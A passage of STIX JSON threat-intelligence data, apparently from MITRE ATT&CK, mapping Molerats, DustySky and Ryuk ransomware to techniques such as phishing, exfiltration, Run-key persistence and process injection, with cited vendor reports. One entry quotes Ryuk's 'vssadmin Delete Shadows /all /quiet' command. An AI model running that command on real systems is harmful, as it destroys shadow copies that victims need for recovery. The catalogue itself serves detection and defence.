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                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious links via email trick users into opening a RAR archive and running an executable.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                },
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                },
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--e586e3c7-ed6b-4f6b-92e8-031f0acc84ef",
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                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                },
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                },
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious Microsoft Word and PDF attachments.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--5a9f2571-e611-4f7f-b0c9-6fc2d306b2f6",
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                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious links included.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--7fd1b042-8543-46f7-90d5-631500f17e9e",
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                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                },
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with VBScript, on target machines.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--b5ba1f46-0dd0-49f7-9d24-3822153229ba",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with JS, on target machines.(Citation: Kaspersky MoleRATs April 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--cbba2f85-d5f4-4306-a219-5eea6c59dbb6",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
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                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) used PowerShell implants on target machines.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--b2562bd3-5f78-4bcb-a37b-cae2b415c629",
            "type": "relationship",
            "modified": "2020-05-14T14:30:09.879Z",
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            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
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                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) created folders in temp directories to host collected files before exfiltration.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--7e7c0aa8-a17e-4079-b1fd-188977cf1a6e",
            "type": "relationship",
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        {
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            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) has exfiltrated data to the C2 server.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--5434447a-d954-4106-9657-ee62a4acf27b",
            "type": "relationship",
            "modified": "2020-05-14T15:14:34.060Z",
            "created": "2020-05-13T19:59:39.327Z"
        },
        {
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            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "external_references": [
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) can compress files via RAR while staging data to be exfiltrated.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--51300de6-0f80-45dc-92f7-f48dbc887d8c",
            "type": "relationship",
            "modified": "2020-05-14T15:14:34.267Z",
            "created": "2020-05-13T19:59:39.331Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[DustySky](https://attack.mitre.org/software/S0062) captures PNG screenshots of the main screen.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--a724a449-cd4d-419a-90a0-cdd5927c60b7",
            "type": "relationship",
            "modified": "2020-05-13T19:59:39.334Z",
            "created": "2020-05-13T19:59:39.334Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has constructed legitimate appearing installation folder paths by calling <code>GetWindowsDirectoryW</code> and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as <code>C:\\Users\\Public</code>.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--5cba4a5e-c005-495d-9cd6-60794d9b3247",
            "type": "relationship",
            "modified": "2020-05-15T19:13:48.286Z",
            "created": "2020-05-14T13:59:58.133Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--adbb2fb8-9a9f-4068-b123-7b557491861d",
            "type": "relationship",
            "modified": "2020-05-14T13:59:58.140Z",
            "created": "2020-05-14T13:59:58.140Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used <code>cmd.exe</code> to create a Registry entry to establish persistence.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--5a7aeb29-4f1c-43e4-9efa-dc6fb812f281",
            "type": "relationship",
            "modified": "2020-05-14T14:27:31.195Z",
            "created": "2020-05-14T14:27:31.195Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used the Windows command line to create a Registry entry under <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> to establish persistence.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--e168a29f-c975-4ae9-8ab9-470bb03ae706",
            "type": "relationship",
            "modified": "2020-05-14T14:27:31.203Z",
            "created": "2020-05-14T14:27:31.203Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called <code>GetLogicalDrives</code> to emumerate all mounted drives, and <code>GetDriveTypeW</code> to determine the drive type.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--9cf32fea-16cd-41cf-93f3-a47c1388abbc",
            "type": "relationship",
            "modified": "2020-05-14T14:27:31.210Z",
            "created": "2020-05-14T14:27:31.210Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                },
                {
                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called <code>GetIpNetTable</code> in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.(Citation: CrowdStrike Ryuk January 2019)(Citation: Bleeping Computer - Ryuk WoL) ",
            "relationship_type": "uses",
            "id": "relationship--eebf12c3-1146-4daa-8fd2-c74ad19362f6",
            "type": "relationship",
            "modified": "2021-03-05T20:30:11.434Z",
            "created": "2020-05-14T14:27:31.213Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used multiple native APIs including <code>ShellExecuteW</code> to run executables,<code>GetWindowsDirectoryW</code> to create folders, and <code>VirtualAlloc</code>, <code>WriteProcessMemory</code>, and <code>CreateRemoteThread</code> for process injection.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--1790f5a1-b5d5-41a4-8da0-c75ed7a23b0d",
            "type": "relationship",
            "modified": "2020-05-15T21:51:10.377Z",
            "created": "2020-05-14T14:27:31.229Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called <code>kill.bat</code> for stopping services, disabling services and killing processes.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--60135ffa-b3f7-4aa8-b12e-faa2719dc5d7",
            "type": "relationship",
            "modified": "2020-05-14T14:38:22.607Z",
            "created": "2020-05-14T14:38:22.607Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called <code>CreateToolhelp32Snapshot</code> to enumerate all running processes.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--18d29bb2-655b-4e3d-9759-32a74be3eb75",
            "type": "relationship",
            "modified": "2020-05-14T14:38:22.630Z",
            "created": "2020-05-14T14:38:22.630Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has attempted to adjust its token privileges to have the <code>SeDebugPrivilege</code>.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--fa049cca-da7d-4d89-ac34-cab537ce0235",
            "type": "relationship",
            "modified": "2020-05-14T14:38:22.633Z",
            "created": "2020-05-14T14:38:22.633Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has injected itself into remote processes to encrypt files using a combination of <code>VirtualAlloc</code>, <code>WriteProcessMemory</code>, and <code>CreateRemoteThread</code>.(Citation: CrowdStrike Ryuk January 2019)",
            "relationship_type": "uses",
            "id": "relationship--afdf9b0e-5539-464a-a403-202eaedb13cd",
            "type": "relationship",
            "modified": "2020-05-15T19:13:48.360Z",
            "created": "2020-05-14T14:38:22.650Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                },
                {
                    "source_name": "DFIR Ryuk in 5 Hours October 2020",
                    "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
                    "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
            "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)",
            "relationship_type": "uses",
            "id": "relationship--6895e54e-3968-41a9-9013-a082cd46fa44",
            "type": "relationship",
            "modified": "2020-11-10T18:04:03.866Z",
            "created": "2020-05-14T14:40:26.221Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                },
                {
                    "source_name": "DFIR Ryuk in 5 Hours October 2020",
                    "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
                    "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Sophos New Ryuk Attack October 2020",
                    "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/",
                    "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."
                }
            ],
            "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)",
            "relationship_type": "uses",
            "id": "relationship--d64f970a-8003-41bf-9769-d849c12340ed",
            "type": "relationship",
            "modified": "2020-11-10T18:04:03.868Z",
            "created": "2020-05-14T14:40:26.232Z"
        },
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            "target_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
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            "id": "relationship--e9f5096e-b9fc-459a-a303-88763b1269cc",
            "external_references": [
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                }
            ],
            "description": "(Citation: FireEye FIN6 Apr 2019)",
            "type": "relationship",
            "modified": "2020-05-15T19:15:35.568Z",
            "created": "2020-05-14T14:41:42.975Z"
        },
        {
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            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "external_references": [
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used <code>vssadmin Delete Shadows /all /quiet</code> to to delete volume shadow copies and <code>vssadmin resize shadowstorage</code> to force deletion of shadow copies created by third-party applications.(Citation: CrowdStrike Ryuk January 2019)",
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            "id": "relationship--3194fa27-46b8-4a05-8d3a-12d7bfe9ad15",
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            "external_references": [
                {
